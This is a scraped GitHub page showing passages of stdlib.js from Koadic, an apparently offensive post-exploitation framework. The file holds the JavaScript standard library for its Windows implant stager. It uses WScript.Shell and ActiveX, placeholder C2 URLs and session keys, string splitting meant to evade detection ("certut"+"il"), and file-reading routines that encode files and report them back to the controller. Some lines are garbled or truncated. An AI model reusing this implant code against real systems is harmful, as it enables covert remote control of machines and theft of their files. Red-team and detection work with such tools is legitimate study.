

Product

Solutions

Resources

Open Source

Enterprise

Pricing

Sign in

Sign up

offsecginger / koadic

Public

Notifications

Fork

78

Star

268

<> Code

Issues

6

Pull requests

Actions

Projects

Security

Insights

Files

457f9a3

Go to file

> core

> data

> bin

> implant

> stager

> js

> bitsadmin

> disk

> mshta

> mshtajs

> regsvr

> rundll32

> rundll32_js

> wmic

stage.js

stdlib.js

> vbscript

banner.txt

banner_info.txt

pabst.txt

shamrock.txt

taco.txt

valentine.txt

> modules

.gitattributes

.gitignore

.gitmodules

DEFCON25.pdf

Dockerfile

LICENSE

README.md

koadic

requirements.txt

koadic / data / stager / js / stdlib.js

offsecginger

Upload Files

61b714c · 3 years ago

History

Code

Blame

1102 lines (984 loc) · 27.3 KB

Raw

1

var Koadic = {};

2

3

Koadic.FS = new ActiveXObject("Scripting.FileSystemObject");

Koadic.WS = new ActiveXObject("WScript"+"t.Shell");

Koadic.STAGER = "~URL~";

Koadic.SESSIONKEY = "~SESSIONKEY~";

Koadic.JOBKEY = "~JOBKEY~";

Koadic.JOBKEYPATH = "~URL~?~SESSIONNAME~==~SESSIONKEY~;~JOBNAME~=";

Koadic.EXPIRE = "~_EXPIREEPOCH_~";

10

11

/**

* Sleeps the current thread

13

*

14

* @param int ms - how long to sleep in milliseconds

15

* @param function callback - where to continue execution after the sleep

16

*

17

* @return void

18

*/

19

//sleep.start

20

Koadic.sleep = function(ms#, callback#)

21

{

22

if (Koadic.isHTA())

23

{

24

window.setTimeout(callback#, ms#);

25

}

26

else

27

{

28

var #now# = new Date().getTime();

29

while (new Date().getTime() < #now# + #ms#);

30

#callback#();

31

}

32

}

33

//sleep.end

34

35

/**

36

* Attempts to kill the current process using a myriad of methods

37

*

38

* @return void

39

*/

40

//exit.start

41

Koadic.exit = function()

42

{

43

if (Koadic.isHTA())

44

{

45

// crappy hack?

46

try {

47

window.close();

48

} catch(e){}

49

50

try {

51

window.self.close();

52

} catch (e){}

53

54

try {

55

window.top.close();

56

} catch (e){}

57

}

Page 1 of 16

```
57
58
59     try{
60         self.close();
61     } catch (e){}
62
63     try
64     {
65         window.open('', '_se'+l+'f', '');
66         window.close();
67     }
68     catch (e)
69     {
70     }
71 }
72
73 try
74 {
75     WScript.quit();
76 }
77 catch (e)
78 {
79 }
80
81 try
82 {
83     var #pid# = Koadic.process.currentPID();
84     Koadic.process.kill(#pid#);
85 }
86 catch (e)
87 {
88 }
89 }
90 //exit.end
91
92 /**
93  * Determine if running in HTML Application context
94  *
95  * @return bool - true if HTML application context
96  */
97 //isHTA.start
98 Koadic.isHTA = function()
99 {
100     return typeof(window) !== "undef"+"ined";
101 }
102 //isHTA.end
103
104 /**
105  * Determine if running in WScript Application context
106  *
107  * @return bool - true if WScript context
108  */
109 //isWScript.start
110 Koadic.isWScript = function()
111 {
112     return typeof(WScript) !== "un"+"defined";
113 }
114 //isWScript.end
115 //uuid.start
116 Koadic.uuid = function()
117 {
118     try
```



















```
1029         {
1030             loopcount += 1;
1031             if (loopcount > 180)
1032             {
1033                 return "";
1034             }
1035             Koadic.shell.run("ping 127."+0.0.1 -n 2", false);
1036         }
1037     }
1038 }
1039 //file.readText.end
1040 //file.readBinary.start
1041 Koadic.file.readBinary = function(path, exists, certutil)
1042 {
1043     var exists = (typeof(exists) !== "undefined") ? exists : false;
1044     var certutil = (typeof(certutil) !== "undefined") ? certutil : false;
1045
1046     if (!Koadic.FS.FileExists(Koadic.file.getPath(path)) && exists)
1047     {
1048         var headers = {};
1049         headers["Status"] = "NotExist";
1050         Koadic.work.report("", headers);
1051         return "";
1052     }
1053
1054     var loopcount = 0;
1055     while(true)
1056     {
1057
1058         if (Koadic.FS.FileExists(Koadic.file.getPath(path)) && Koadic.FS.GetFile(Koadic
1059         {
1060             if (Koadic.user.encoder() == "936" || certutil)
1061             {
1062                 var newout = "%TEMP%\\\\"+Koadic.uuid()+".t"+"xt";
1063                 Koadic.shell.run("certut"+"il -encode "+Koadic.file.getPath(path)+" " +n
1064                 var data = Koadic.file.readText(newout);
1065                 Koadic.file.deleteFile(newout);
1066             }
1067             else
1068             {
1069                 var fp = Koadic.FS.GetFile(Koadic.file.getPath(path));
1070                 var fd = fp.OpenAsTextStream();
1071                 var data = fd.read(fp.Size);
1072                 fd.close();
1073             }
1074             return data;
1075         }
1076         else
1077         {
1078             loopcount += 1;
1079             if (loopcount > 180)
1080             {
1081                 return "";
1082             }
1083             Koadic.shell.run("ping 127."+0.0.1 -n 2", false);
1084         }
1085     }
1086 }
1087
1088 //file.readBinary.end
1089 //file.write.start
1090 Koadic.file.write = function(path, data)
1091 {
1092     var fd = Koadic.FS.CreateTextFile(Koadic.file.getPath(path), true);
1093     fd.write(data);
1094     fd.close();
1095 }
1096 //file.write.end
1097 //file.deleteFile.start
1098 Koadic.file.deleteFile = function(path)
1099 {
1100     Koadic.FS.DeleteFile(Koadic.file.getPath(path), true);
1101 };
```

```
1102      //file.deleteFile.end
```